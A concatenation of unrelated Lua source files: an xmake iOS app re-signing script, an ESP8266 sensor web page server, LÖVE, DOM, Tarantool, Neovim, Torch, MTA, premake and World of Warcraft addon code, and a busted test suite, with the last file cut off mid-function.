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--!A cross-platform build utility based on Lua
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
--
-- Copyright (C) 2015-2020, TBOOX Open Source Group.
--
-- @author ruki
-- @file resign.lua
--
-- imports
import("lib.detect.find_tool")
import("lib.detect.find_directory")
import("utils.archive.extract")
import("private.tools.codesign")
import("utils.ipa.package", {alias = "ipagen"})
-- resign *.app directory
function _resign_app(appdir, codesign_identity, mobile_provision, bundle_identifier)
-- get default codesign identity
if not codesign_identity then
for identity, _ in pairs(codesign.codesign_identities()) do
codesign_identity = identity
break
end
end
-- get default mobile provision
if not mobile_provision then
for provision, _ in pairs(codesign.mobile_provisions()) do
mobile_provision = provision
break
end
end
-- generate embedded.mobileprovision to *.app/embedded.mobileprovision
local mobile_provision_embedded = path.join(appdir, "embedded.mobileprovision")
if mobile_provision then
os.tryrm(mobile_provision_embedded)
local provisions = codesign.mobile_provisions()
if provisions then
local mobile_provision_data = provisions[mobile_provision]
if mobile_provision_data then
io.writefile(mobile_provision_embedded, mobile_provision_data)
end
end
end
-- replace bundle identifier of Info.plist
if bundle_identifier then
local info_plist_file = path.join(appdir, "Info.plist")
if os.isfile(info_plist_file) then
local info_plist_data = io.readfile(info_plist_file)
if info_plist_data then
local p = info_plist_data:find("<key>CFBundleIdentifier</key>", 1, true)
if p then
local e = info_plist_data:find("</string>", p, true)
if e then
local block = info_plist_data:sub(p, e + 9):match("<string>(.+)</string>")
if block then
info_plist_data = info_plist_data:gsub(block, bundle_identifier)
io.writefile(info_plist_file, info_plist_data)
end
end
end
end
end
end
-- do codesign
codesign(appdir, codesign_identity, mobile_provision)
end
-- resign *.ipa file
function _resign_ipa(ipafile, codesign_identity, mobile_provision, bundle_identifier)
-- get resigned ipa file
local ipafile_resigned = path.join(path.directory(ipafile), path.basename(ipafile) .. "_resign" .. path.extension(ipafile))
-- extract *.ipa file
local appdir = os.tmpfile() .. ".app"
extract(ipafile, appdir, {extension = ".zip"})
-- find real *.app directory
local appdir_real = find_directory("**.app", appdir)
if not appdir_real then
appdir_real = appdir
end
-- resign *.app directory
_resign_app(appdir_real, codesign_identity, mobile_provision, bundle_identifier)
-- re-generate *.ipa file
ipagen(appdir_real, ipafile_resigned)
-- remove tmp files
os.tryrm(appdir)
-- trace
cprint("output: ${bright}%s", ipafile_resigned)
end
-- main entry
function main (filepath, codesign_identity, mobile_provision, bundle_identifier)
-- check
assert(os.exists(filepath), "%s not found!", filepath)
-- resign *.ipa or *.app application
if os.isfile(filepath) then
_resign_ipa(filepath, codesign_identity, mobile_provision, bundle_identifier)
else
_resign_app(filepath, codesign_identity, mobile_provision, bundle_identifier)
end
-- ok
cprint("${color.success}resign ok!")
end
|
-- MCP3021 Breakout Board: https://www.tindie.com/products/AllAboutEE/esp8266-analog-inputs-expander/
-- This example serves a webpage and displays the sensor/converter value (almost) live / real-time
-- The computer/device from which you visit the webpage MUST have internet connection since
-- Google hosted libraries are been used to draw the graphs and update the data
require ("mcp3021")
-- configure ESP as a station
wifi.setmode(wifi.STATION)
wifi.sta.config("xxx","xxxxxx+")
wifi.sta.autoconnect(1)
gpio0, gpio2 = 3, 4
mcp3021.setup(gpio2,gpio0,i2c.SLOW) -- use GPIO2 as SDA, use GPIO0 as SCL
local function display_webpage(socket,request)
_, _, method, req, major, minor = string.find(request, "([A-Z]+) (.+) HTTP/(%d).(%d)");
if(string.find(req,"/monitor.html")) then -- request made to sesnor page
socket:send("HTTP/"..major.."."..minor.." 200 OK\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n")
socket:send("<html><head><style type=\"text/css\">")
socket:send("html, body { background-color: transparent; text-align: center; margin: 0 auto;}")
socket:send("#chart_div { width: 500px; text-align: center; margin: 0 auto;}</style></head>")
socket:send("<body><div id='chart_div'></div>")
-- include Jquery and graphing API
socket:send("<script type='text/javascript' src='https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js'></script>")
socket:send("<script type='text/javascript' src='https://www.google.com/jsapi'></script>")
-- ocde to handle graph/gauge and its updates
socket:send("<script type='text/javascript'>")
socket:send("var chart;var data;")
socket:send("google.load('visualization', '1', {packages:['gauge']});\r\n")
socket:send("google.setOnLoadCallback(initChart);\r\n")
-- function that updates the graph
socket:send("function displayData(point) {\r\n")
socket:send("data.setValue(0, 0, 'Sensor');\r\n")
socket:send("data.setValue(0, 1, point);\r\n")
socket:send("chart.draw(data, options);}\r\n")
-- function that grabs a new reading
socket:send("function loadData() {var p;\r\n")
socket:send("$.getJSON('http://"..wifi.sta.getip().."/data.json', function(data) {\r\n")
socket:send("p = data.sensor;")
socket:send("if(p){displayData(p);}")
socket:send("});}")
-- function that creates a new chart
socket:send("function initChart() {data = new google.visualization.DataTable();")
socket:send("data.addColumn('string', 'Label');data.addColumn('number', 'Value');data.addRows(1);")
socket:send("chart = new google.visualization.Gauge(document.getElementById('chart_div'));\r\n")
socket:send("options = {width: 500, height: 500, redFrom: 90, redTo: 100,")
socket:send("yellowFrom:75, yellowTo: 90, minorTicks: 5,max: 3.3};")
-- call loadData once to create and grab data for the first time
socket:send("loadData();")
-- call loadData every second
socket:send("setInterval(loadData, 1000);}</script></body></html>")
elseif (string.find(req,"/data.json")) then -- request made to data.json page
local sensor = mcp3021.read(3) -- read MCP3021A3
-- convert to voltage vased on VDD = 3.3V
local result = sensor*3.3/1024
-- serve json
socket:send("HTTP/"..major.."."..minor.." 200 OK\r\nContent-Type: application/json\r\nConnection: close\r\n\r\n");
socket:send("{\"sensor\":\""..result.."\"}");
end
socket:close()
socket = nil
end
-- check for a successful connection to the AP (when we obtain an IP address)
tmr.alarm(0,1000,1,function()
local ip, netmask, gateway = wifi.sta.getip()
if(ip~=nil) then
print("IP address obtained!")
print("Visit \""..ip.."/monitor.html\"") -- print the IP address so you know which ip address to visit
tmr.stop(0) -- stop the timer alarm
-- we have an IP address so start server
server = net.createServer(net.TCP)
server:listen(80,function(socket)
socket:on("receive",display_webpage)
end)
else
print("Waiting to obtain IP address...")
end
end)
|
local graphics = love.graphics
local old_reset = love.graphics.reset
local old_replaceTransform = love.graphics.replaceTransform
local transformStack = {}
local transform = love.math.newTransform()
function graphics.reset()
transformStack = {}
love.graphics.origin()
Draw._scissor_stack = {}
love.graphics.setScissor()
end
function graphics.printfOutline(text, x, y, outline, limit, ...)
local old_color = {love.graphics.getColor()}
love.graphics.setColor(0, 0, 0)
local drawn = {}
for i = -(outline or 1),(outline or 1) do
for j = -(outline or 1),(outline or 1) do
if i ~= 0 or j ~= 0 then
love.graphics.printf(text, x+i, y+j, limit or math.huge, ...)
end
end
end
love.graphics.setColor(unpack(old_color))
love.graphics.printf(text, x, y, limit or math.huge, ...)
end
function graphics.drawCanvas(canvas, ...)
local mode,alphamode = love.graphics.getBlendMode()
love.graphics.setBlendMode(mode, "premultiplied")
love.graphics.draw(canvas, ...)
love.graphics.setBlendMode(mode, alphamode)
end
--[[ Transforms ]]--
function graphics.getTransform()
return transform:clone()
end
function graphics.getTransformRef()
return transform
end
function graphics.applyTransform(t)
transform:apply(t)
old_replaceTransform(transform)
end
function graphics.inverseTransformPoint(screenX, screenY)
return transform:inverseTransformPoint(screenX, screenY)
end
function graphics.origin()
transform:reset()
old_replaceTransform(transform)
end
function graphics.pop()
transform = table.remove(transformStack, 1)
old_replaceTransform(transform)
end
function graphics.push()
table.insert(transformStack, 1, transform)
transform = transform:clone()
end
function graphics.replaceTransform(t)
transform = t
old_replaceTransform(transform)
end
function graphics.rotate(angle)
transform:rotate(angle)
old_replaceTransform(transform)
end
function graphics.scale(sx, sy)
transform:scale(sx, sy or sx)
old_replaceTransform(transform)
end
function graphics.shear(kx, ky)
transform:shear(kx, ky)
old_replaceTransform(transform)
end
function graphics.transformPoint(globalX, globalY)
return transform:transformPoint(globalX, globalY)
end
function graphics.translate(dx, dy)
transform:translate(dx, dy)
old_replaceTransform(transform)
end |
local upperclass = require(LIBXML_REQUIRE_PATH..'lib.upperclass')
local utils = require(LIBXML_REQUIRE_PATH..'lib.utils')
local DOMNode = require(LIBXML_REQUIRE_PATH..'dom.node')
local DOMNamedNodeMap = require(LIBXML_REQUIRE_PATH..'dom.namednodemap')
--
-- Define class
--
local DocumentType = upperclass:define("DOMDocumentType", DOMNode)
--
-- Returns a NamedNodeMap containing the entities declared in the DTD
--
property : entities {
nil;
get='public';
set='private';
type='any';
}
--
-- Returns the internal DTD as a string
--
property : internalSubset {
nil;
get='public';
set='private';
type='string';
}
--
-- Returns the name of the DTD
--
property : name {
nil;
get='public';
set='private';
type='string';
}
--
-- Returns a NamedNodeMap containing the notations declared in the DTD
--
property : notations {
nil;
get='public';
set='private';
type='any';
}
--
-- Class constructor
--
function private:__construct()
self:__constructparent(10)
self.entities = DOMNamedNodeMap()
self.notations = DOMNamedNodeMap()
end
--
-- __index metamethod
--
function private:__index(KEY)
if KEY == 'nodeName' then
return self.name
end
return UPPERCLASS_DEFAULT_BEHAVIOR
end
--
-- Compile class
--
return upperclass:compile(DocumentType) |
-- fio.lua (internal file)
local fio = require('fio')
local ffi = require('ffi')
ffi.cdef[[
int umask(int mask);
char *dirname(char *path);
]]
local internal = fio.internal
fio.internal = nil
local function sprintf(fmt, ...)
if select('#', ...) == 0 then
return fmt
end
return string.format(fmt, ...)
end
local fio_methods = {}
fio_methods.read = function(self, size)
if size == nil then
return ''
end
return internal.read(self.fh, tonumber(size))
end
fio_methods.write = function(self, data)
data = tostring(data)
local res = internal.write(self.fh, data, #data)
return res >= 0
end
fio_methods.pwrite = function(self, data, offset)
data = tostring(data)
local len = #data
if len == 0 then
return true
end
if offset == nil then
offset = 0
else
offset = tonumber(offset)
end
local res = internal.pwrite(self.fh, data, len, offset)
return res >= 0
end
fio_methods.pread = function(self, len, offset)
if len == nil then
return ''
end
if offset == nil then
offset = 0
end
return internal.pread(self.fh, tonumber(len), tonumber(offset))
end
fio_methods.truncate = function(self, length)
if length == nil then
length = 0
end
return internal.ftruncate(self.fh, length)
end
fio_methods.seek = function(self, offset, whence)
if whence == nil then
whence = 'SEEK_SET'
end
if type(whence) == 'string' then
if fio.c.seek[whence] == nil then
error(sprintf("Unknown whence: %s", whence))
end
whence = fio.c.seek[whence]
else
whence = tonumber(whence)
end
local res = internal.lseek(self.fh, tonumber(offset), whence)
if res < 0 then
return nil
end
return tonumber(res)
end
fio_methods.close = function(self)
return internal.close(self.fh)
end
fio_methods.fsync = function(self)
return internal.fsync(self.fh)
end
fio_methods.fdatasync = function(self)
return internal.fdatasync(self.fh)
end
fio_methods.stat = function(self)
return internal.fstat(self.fh)
end
local fio_mt = { __index = fio_methods }
fio.open = function(path, flags, mode)
local iflag = 0
local imode = 0
if type(flags) ~= 'table' then
flags = { flags }
end
if type(mode) ~= 'table' then
mode = { mode }
end
for _, flag in pairs(flags) do
if type(flag) == 'number' then
iflag = bit.bor(iflag, flag)
else
if fio.c.flag[ flag ] == nil then
error(sprintf("Unknown flag: %s", flag))
end
iflag = bit.bor(iflag, fio.c.flag[ flag ])
end
end
for _, m in pairs(mode) do
if type(m) == 'string' then
if fio.c.mode[m] == nil then
error(sprintf("Unknown mode: %s", m))
end
imode = bit.bor(imode, fio.c.mode[m])
else
imode = bit.bor(imode, tonumber(m))
end
end
local fh = internal.open(tostring(path), iflag, imode)
if fh < 0 then
return nil
end
fh = { fh = fh }
setmetatable(fh, fio_mt)
return fh
end
fio.pathjoin = function(path, ...)
path = tostring(path)
if path == nil or path == '' then
error("Empty path part")
end
for i = 1, select('#', ...) do
if string.match(path, '/$') ~= nil then
path = string.gsub(path, '/$', '')
end
local sp = select(i, ...)
if sp == nil then
error("Undefined path part")
end
if sp == '' or sp == '/' then
error("Empty path part")
end
if string.match(sp, '^/') ~= nil then
sp = string.gsub(sp, '^/', '')
end
if sp ~= '' then
path = path .. '/' .. sp
end
end
if string.match(path, '/$') ~= nil and #path > 1 then
path = string.gsub(path, '/$', '')
end
return path
end
fio.basename = function(path, suffix)
if path == nil then
return nil
end
path = tostring(path)
path = string.gsub(path, '.*/', '')
if suffix ~= nil then
suffix = tostring(suffix)
if #suffix > 0 then
suffix = string.gsub(suffix, '(.)', '[%1]')
path = string.gsub(path, suffix, '')
end
end
return path
end
fio.dirname = function(path)
if path == nil then
return nil
end
path = tostring(path)
path = ffi.new('char[?]', #path + 1, path)
return ffi.string(ffi.C.dirname(path))
end
fio.umask = function(umask)
if umask == nil then
local old = ffi.C.umask(0)
ffi.C.umask(old)
return old
end
umask = tonumber(umask)
return ffi.C.umask(tonumber(umask))
end
fio.abspath = function(path)
-- following established conventions of fio module:
-- letting nil through and converting path to string
if path == nil then
return nil
end
path = tostring(path)
if string.sub(path, 1, 1) == '/' then
return path
else
return fio.pathjoin(fio.cwd(), path)
end
end
return fio
|
describe('The events module',function()
local events = require'nodish.events'
it('provides EventEmitter method',function()
assert.is_function(events.EventEmitter)
end)
it('esock.new returns an object/table',function()
assert.is_table(events.EventEmitter())
end)
describe('with an emitter instance',function()
local i
before_each(function()
i = events.EventEmitter()
end)
local expectedMethods = {
'addListener',
'on',
'once',
'removeListener',
'emit',
}
for _,method in ipairs(expectedMethods) do
it('i.'..method..' is function',function()
assert.is_function(i[method])
end)
end
it('i.addListener and i.on are the same method',function()
assert.is_equal(i.addListener,i.on)
end)
it('i.on callback gets called with correct arguments',function(done)
i:on('foo',async(function(a,b)
assert.is_equal(a,'test')
assert.is_equal(b,123)
done()
end))
i:emit('foo','test',123)
end)
it('i.on callback gets called once for each emit',function(done)
local count = 0
i:on('foo',async(function()
count = count + 1
if count == 2 then
done()
end
end))
i:emit('foo')
i:emit('foo')
end)
it('once is really called once',function(done)
local count = 0
i:once('bar',async(function()
count = count + 1
end))
local b = 0
i:on('bar',async(function()
b = b + 1
if b == 2 then
assert.is_equal(count,1)
done()
end
end))
i:emit('bar',1)
i:emit('bar',2)
end)
it('once can be canceled',function(done)
local entered
local onceCb = async(function()
entered = true
end)
i:once('bar',onceCb)
i:on('bar',async(function()
assert.is_nil(entered)
done()
end))
i:removeListener('bar',onceCb)
i:emit('bar')
end)
it('removeAllListeners works for a specific event',function(done)
local entered = 0
i:on('foo',async(function()
entered = entered + 1
end))
i:on('foo',async(function()
entered = entered + 1
end))
i:on('bar',async(function()
assert.is_equal(entered,0)
done()
end))
i:removeAllListeners('foo')
i:emit('foo')
i:emit('bar')
end)
it('removeAllListeners works for all events',function(done)
local entered = 0
i:on('foo',async(function()
entered = entered + 1
end))
i:on('foo',async(function()
entered = entered + 1
end))
i:on('bar',async(function()
entered = entered + 1
-- done()
end))
i:removeAllListeners()
i:emit('foo')
i:emit('bar')
assert.is_equal(entered,0)
done()
end)
end)
end)
|
local M = {}
local basef = require("my-plugins.base-functions")
local plugin_name = "AutoSession Plugin"
local plugin_icon = ""
local plugin_commands = {
AutoSessionRestore = "Restore previous session from `.session.vim`.",
AutoSessionSave = "Create `.session.vim` to store current session.",
AutoSessionAuto = "Update `.session.vim` if exists.",
AutoSessionGlobal = "Resigter current session for vim-startify.",
AutoSessionDelete = "Delete a global session.",
}
local echo = function(msg, level, ...)
if not level then
level = "info"
end
local opts = { ... }
opts.title = opts.title or plugin_name
opts.icon = opts.icon or plugin_icon
basef.echo(msg, level, opts)
end
M.help = function()
local str = "Available Commands:\n\n"
for command, com_help in pairs(plugin_commands) do
str = str .. "- " .. command .. ": " .. com_help .. "\n"
end
echo(str, "warn", { title = plugin_name .. " Help" })
end
local DEFAULT_OPTS = {
disable_netrw = false,
hijack_netrw = true,
open_on_setup = false,
open_on_tab = false,
hijack_directories = {
enable = true,
auto_open = true,
},
auto_close = false,
auto_reload_on_write = true,
hijack_cursor = false,
update_cwd = false,
hide_root_folder = false,
hijack_unnamed_buffer_when_opening = false,
update_focused_file = {
enable = false,
update_cwd = false,
ignore_list = {},
},
ignore_ft_on_setup = {},
system_open = {
cmd = nil,
args = {},
},
diagnostics = {
enable = false,
show_on_dirs = false,
icons = {
hint = "",
info = "",
warning = "",
error = "",
},
},
filters = {
dotfiles = false,
custom_filter = {},
exclude = {},
},
git = {
enable = true,
ignore = true,
timeout = 400,
},
actions = {
change_dir = {
enable = true,
global = vim.g.nvim_tree_change_dir_global == 1,
},
open_file = {
quit_on_open = vim.g.nvim_tree_quit_on_open == 1,
window_picker = {
enable = vim.g.nvim_tree_disable_window_picker ~= 1,
chars = vim.g.nvim_tree_window_picker_chars,
exclude = vim.g.nvim_tree_window_picker_exclude,
},
},
},
}
local function merge_options(opts)
return vim.tbl_deep_extend("force", DEFAULT_OPTS, opts or {})
end
M.setup = function(opts)
merge_options(opts)
M.init_win_open_safe()
if opts.msg ~= nil then
echo(opts.msg)
end
if opts.restore_on_startup == true then
M.RestoreSession()
end
end
M.init_win_open_safe = function()
if vim.g.autosession_win_opened == nil then
vim.g.autosession_win_opened = 0
end
end
M.add_win_open_timer = function(wait_for_ms, msg)
M.add_win_open()
vim.fn.timer_start(wait_for_ms, function()
M.close_win_open(msg)
end)
end
M.add_win_open = function(msg)
M.init_win_open_safe()
vim.g.autosession_win_opened = vim.g.autosession_win_opened + 1
if msg ~= nil then
echo(msg)
end
end
M.close_win_open = function(msg)
M.init_win_open_safe()
vim.g.autosession_win_opened = vim.g.autosession_win_opened - 1
if msg ~= nil then
echo(msg)
end
end
M.SaveSession = function(create_new_if_not_exist)
local cwd = vim.fn.getcwd()
if basef.FullPath(cwd) == basef.FullPath(vim.env.HOME) then
echo("Currently working in $HOME directory. Not saving session.")
return nil
end
local sessionpath = basef.FullPath(cwd .. "/.session.vim")
if create_new_if_not_exist == true or basef.file_exist(sessionpath) then
local wait_counter = 1000
while vim.g.autosession_win_opened > 0 and wait_counter > 0 do
wait_counter = wait_counter - 1
end
local confirm_msg = "May crush. Please wait until all Notification are gone. Continue? [Y/n]:"
if vim.g.autosession_win_opened <= 0 or basef.Confirm(confirm_msg, "y", true) then
vim.cmd("mksession! " .. sessionpath)
echo(".session.vim created.")
else
echo("Aborted!", "error")
end
end
return sessionpath
end
M.SaveGlobalSession = function()
local cwd = vim.fn.getcwd()
if not vim.g.startify_session_dir then
echo("Please set `g:startify_session_dir`.\nAbort", "error")
return false
end
vim.fn.mkdir(basef.FullPath(vim.g.startify_session_dir), "p")
local dirname = basef.FullPath(vim.g.startify_session_dir) .. "/" .. basef.SessionName(cwd)
local sessionpath = M.SaveSession(true)
if not basef.file_exist(dirname) or basef.Confirm(dirname .. " exists. Overwrite? [y/N]:", "n", false) then
io.popen("ln -sf " .. sessionpath .. " " .. dirname .. " >/dev/null 2>/dev/null"):close()
if basef.file_exist(dirname) then
echo("Saved session as: " .. dirname)
return true
else
echo("Something went wrong.", "error")
return false
end
end
echo("Abort", "error")
return false
end
M.RestoreSession = function()
local cwd = vim.fn.getcwd()
local sessionpath = basef.FullPath(cwd .. "/.session.vim")
if not vim.fn.filereadable(sessionpath) then
return false
end
if basef.file_exist(sessionpath) then
vim.cmd("so " .. sessionpath)
else
print("AutoSession WARN: Last session not found. Run :AutoSessionSave to save session.")
vim.cmd("redraws")
end
local current_session = basef.SessionName(cwd)
for buf = 1, vim.fn.bufnr("$") do
local bufname = vim.fn.bufname(buf)
if string.match(bufname, "^.*/$") then
vim.cmd("bd " .. bufname)
elseif string.match(bufname, "^\\[.*\\]$") then
vim.cmd("bd " .. bufname)
elseif basef.SessionName(bufname) == current_session then
vim.cmd("bd " .. bufname)
end
end
return true
end
M.DeleteSession = function()
local cwd = vim.fn.getcwd()
local session_list = {}
for line in vim.fn.globpath(basef.FullPath(vim.g.startify_session_dir), "[^_]*"):gmatch("([^\n]+)") do
table.insert(session_list, line)
end
local session_len = #session_list
local current = -1
local current_session = basef.SessionName(cwd)
if session_len == 0 then
echo("No sessions to delete!\nNice and clean 😄")
return false
end
for index, value in ipairs(session_list) do
if basef.s_trim(basef.basename(value)):lower() == current_session:lower() then
current = index
end
print(index - 1 .. ": " .. value)
end
while true do
local quest = "Delete which session? (Default: " .. (current >= 1 and current or "None") .. ") (q: quit): "
local c = vim.fn.input(quest)
if c:len() == 0 and current >= 1 then
break
elseif c:match("^q$") then
current = 0
break
elseif c:match("^%d$") and tonumber(c, 10) < session_len then
current = tonumber(c, 10) + 1
break
else
echo("Please input an integer or nothing for default value (available only if not None).", "error")
end
vim.cmd("redraw")
end
if current >= 1 then
os.remove(basef.s_trim(session_list[current]))
local sessionpath = basef.FullPath(cwd .. "/.session.vim")
os.remove(sessionpath)
echo("Delete " .. session_list[current])
else
echo("Aborted")
end
end
vim.cmd([[
command! -bar AutoSession lua require('my-plugins.autosave-session').help()
command! -bar AutoSessionSave lua require('my-plugins.autosave-session').SaveSession(true)
command! -bar AutoSessionAuto lua require('my-plugins.autosave-session').SaveSession(false)
command! -bar AutoSessionGlobal lua require('my-plugins.autosave-session').SaveGlobalSession()
command! -bar AutoSessionDelete lua require('my-plugins.autosave-session').DeleteSession()
command! -bar AutoSessionRestore lua require('my-plugins.autosave-session').RestoreSession()
command! Q :AutoSessionAuto <bar> :q
command! WQ :AutoSessionAuto <bar> :wq
command! Wq :AutoSessionAuto <bar> :wq
command! CL AutoSessionAuto <bar> :qa
]])
return M
|
-- A neat script that is useful for testing and visualizations
require 'main'
--require('mobdebug').start()
--[[
Input: a string
Output: table of 6 nearest neighbours {{string,distance}..}
--]]
function neighbors(word)
word_index = billionwords.index_map[word]
if word_index == nil then
print("["..word.."] does not exist in the dictionary!")
return nil
end
distance = torch.DoubleTensor(#billionwords.word_map)
weight = model.mlp.modules[1].weight[word_index]
for i = 1,#billionwords.word_map do
if i%100000 ==0 then
print(i)
end
--xlua.progress(i,#billionwords.word_map)
tmp = weight - model.mlp.modules[1].weight[i]
distance[i] = torch.sum(tmp:cmul(tmp))
end
distance:sqrt()
dist, indices = torch.sort(distance)
result={}
for i=1,6 do
table.insert(result,{billionwords.word_map[indices[i]],dist[i]})
end
return result
end
function test()
print("==> Loading model...")
model = torch.load("../log/model.net")
billionwords = BillionWords(opt)
billionwords:loadWordMap()
while true do
print("==> Ready for input")
local word = io.read()
print("==> Calculating neighbors for ["..word.."]")
rv = neighbors(word)
for k,v in pairs(rv) do
print(v[1].." dist: "..v[2])
end
end
end
test() |
CDxElement = {}
function CDxElement:constructor(iX, iY, iWidth, iHeight)
self.X = iX;
self.Y = iY;
self.Width = iWidth;
self.Height = iHeight;
self.ClickFunction = false;
self.clickExecute = {};
self.Visible = true;
self.Disabled = false;
end
function CDxElement:destructor()
if (self:hasClickFunction()) then
removeEventHandler ( "onClientClick", getRootElement(), self.eOnClick)
end
end
function CDxElement:onClick(button, state)
if(self:hasClickFunction()) then
if (button == "left" and state == "down") then
cX,cY = getCursorPosition ()
if (isCursorOverRectangle(cX,cY,self.X, self.Y, self.Width, self.Height)) then
if(self.Disabled == false) then
for k,clickFunction in ipairs(self.clickExecute) do
clickFunction()
end
end
end
end
end
end
function CDxElement:addClickFunction(func)
table.insert(self.clickExecute,bind(func,self))
self.ClickFunction = true
self.eOnClick = bind(self.onClick, self)
end
function CDxElement:addClickHandlers(key)
if (self.ClickFunction) then
-- DEV: outputChatBox("Element: "..key)
addEventHandler ( "onClientClick", getRootElement(), self.eOnClick)
end
end
function CDxElement:removeClickHandlers()
if (self.ClickFunction) then
removeEventHandler ( "onClientClick", getRootElement(), self.eOnClick)
end
end
function CDxElement:hasClickFunction()
return self.ClickFunction
end
function CDxElement:setVisible(bState)
self.Visible = bState
end
function CDxElement:getVisible()
return self.Visible
end
function CDxElement:setDisabled(bBool)
self.Disabled = bBool;
end
function CDxElement:getDisabled()
return self.Disabled;
end |
workspace "MintServer"
architecture "x86"
startproject "MintServer"
configurations
{
"Debug",
"Release",
"Dist"
}
outputdir = "%{cfg.buildcfg}-%{cfg.system}-%{cfg.architecture}"
project "MintServer"
location "MintServer"
kind "ConsoleApp"
language "C++"
targetdir ("bin/" .. outputdir .. "/%{prj.name}")
objdir ("bin-int/" .. outputdir .. "/%{prj.name}")
pchheader "mtpch.h"
pchsource "MintServer/src/mtpch.cpp"
files
{
"%{prj.name}/src/**.h",
"%{prj.name}/src/**.cpp",
"%{prj.name}/src/**.hpp",
}
includedirs
{
"%{prj.name}/src",
}
links
{
}
filter "system:windows"
cppdialect "C++17"
staticruntime "On"
systemversion "latest"
defines
{
}
postbuildcommands
{
}
filter "configurations:Debug"
defines "MT_DEBUG"
buildoptions "/MTd"
symbols "On"
filter "configurations:Release"
defines "MT_RELEASE"
buildoptions "/MT"
symbols "On"
filter "configurations:Dist"
defines "MT_DIST"
buildoptions "/MT"
symbols "On"
workspace "MintClient"
architecture "x86"
startproject "MintClient"
configurations
{
"Debug",
"Release",
"Dist"
}
outputdir = "%{cfg.buildcfg}-%{cfg.system}-%{cfg.architecture}"
project "MintClient"
location "MintClient"
kind "ConsoleApp"
language "C++"
targetdir ("bin/" .. outputdir .. "/%{prj.name}")
objdir ("bin-int/" .. outputdir .. "/%{prj.name}")
pchheader "mtpch.h"
pchsource "MintClient/src/mtpch.cpp"
files
{
"%{prj.name}/src/**.h",
"%{prj.name}/src/**.cpp",
"%{prj.name}/src/**.hpp",
}
includedirs
{
"%{prj.name}/src",
}
links
{
}
filter "system:windows"
cppdialect "C++17"
staticruntime "On"
systemversion "latest"
defines
{
}
postbuildcommands
{
}
filter "configurations:Debug"
defines "MT_DEBUG"
buildoptions "/MTd"
symbols "On"
filter "configurations:Release"
defines "MT_RELEASE"
buildoptions "/MT"
symbols "On"
filter "configurations:Dist"
defines "MT_DIST"
buildoptions "/MT"
symbols "On" |
local _, ns = ...
local config = ns.Config
local select = select
local fmod = math.fmod
local floor = math.floor
local gsub = string.gsub
local format = string.format
local day, hour, minute = 86400, 3600, 60
local function FormatValue(value)
if value < 1e3 then
return floor(value)
elseif value >= 1e12 then
return string.format("%.3ft", value/1e12)
elseif value >= 1e9 then
return string.format("%.3fb", value/1e9)
elseif value >= 1e6 then
return string.format("%.2fm", value/1e6)
elseif value >= 1e3 then
return string.format("%.1fk", value/1e3)
end
end
local function DeficitValue(value)
if value == 0 then
return ""
else
return "-"..FormatValue(value)
end
end
ns.cUnit = function(unit)
if unit:match("vehicle") then
return "player"
elseif unit:match("party%d") then
return "party"
elseif unit:match("arena%d") then
return "arena"
elseif unit:match("boss%d") then
return "boss"
elseif unit:match("partypet%d") then
return "pet"
else
return unit
end
end
ns.FormatTime = function(time)
if time >= day then
return format("%dd", floor(time/day + 0.5))
elseif time>= hour then
return format("%dh", floor(time/hour + 0.5))
elseif time >= minute then
return format("%dm", floor(time/minute + 0.5))
end
return format("%d", fmod(time, minute))
end
local function GetUnitStatus(unit)
if UnitIsDead(unit) then
return DEAD
elseif UnitIsGhost(unit) then
return "Ghost"
elseif not UnitIsConnected(unit) then
return PLAYER_OFFLINE
else
return ""
end
end
local function GetFormattedText(text, cur, max, alt)
local perc = (cur/max)*100
if alt then
text = gsub(text, "$alt", ((alt > 0) and format("%s", FormatValue(alt)) or ""))
end
local r, g, b = oUF.ColorGradient(cur, max, unpack(oUF.smoothGradient or oUF.colors.smooth))
text = gsub(text, "$cur", format("%s", (cur > 0 and FormatValue(cur)) or ""))
text = gsub(text, "$max", format("%s", FormatValue(max)))
text = gsub(text, "$deficit", format("%s", DeficitValue(max-cur)))
text = gsub(text, "$perc", format("%d", perc).."%%")
text = gsub(text, "$smartperc", format("%d", perc))
text = gsub(text, "$smartcolorperc", format("|cff%02x%02x%02x%d|r", r*255, g*255, b*255, perc))
text = gsub(text, "$colorperc", format("|cff%02x%02x%02x%d", r*255, g*255, b*255, perc).."%%|r")
return text
end
ns.GetHealthText = function(unit, cur, max)
local uconf = config.units[ns.cUnit(unit)]
if not cur then
cur = UnitHealth(unit)
max = UnitHealthMax(unit)
end
local healthString
if UnitIsDeadOrGhost(unit) or not UnitIsConnected(unit) then
healthString = GetUnitStatus(unit)
elseif cur == max and uconf and uconf.healthTagFull then
healthString = GetFormattedText(uconf.healthTagFull, cur, max)
elseif uconf and uconf.healthTag then
healthString = GetFormattedText(uconf.healthTag, cur, max)
else
if cur == max then
healthString = FormatValue(cur)
else
healthString = FormatValue(cur).."/"..FormatValue(max)
end
end
return healthString
end
ns.GetPowerText = function(unit, cur, max)
local uconf = config.units[ns.cUnit(unit)]
if not cur then
max = UnitPower(unit)
cur = UnitPowerMax(unit)
end
local alt = UnitPower(unit, ALTERNATE_POWER_INDEX)
local powerType = UnitPowerType(unit)
local powerString
if UnitIsDeadOrGhost(unit) or not UnitIsConnected(unit) then
powerString = ""
elseif max == 0 then
powerString = ""
elseif not UnitHasMana(unit) or powerType ~= 0 or UnitHasVehicleUI(unit) and uconf and uconf.powerTagNoMana then
powerString = GetFormattedText(uconf.powerTagNoMana, cur, max, alt)
elseif (cur == max) and uconf and uconf.powerTagFull then
powerString = GetFormattedText(uconf.powerTagFull, cur, max, alt)
elseif uconf and uconf.powerTag then
powerString = GetFormattedText(uconf.powerTag, cur, max, alt)
else
if cur == max then
powerString = FormatValue(cur)
else
powerString = FormatValue(cur).."/"..FormatValue(max)
end
end
return powerString
end
ns.MultiCheck = function(what, ...)
for i = 1, select("#", ...) do
if what == select(i, ...) then
return true
end
end
return false
end
ns.utf8sub = function(string, index)
local bytes = string:len()
if bytes <= index then
return string
else
local length, currentIndex = 0, 1
while currentIndex <= bytes do
length = length + 1
local char = string:byte(currentIndex)
if char > 240 then
currentIndex = currentIndex + 4
elseif char > 225 then
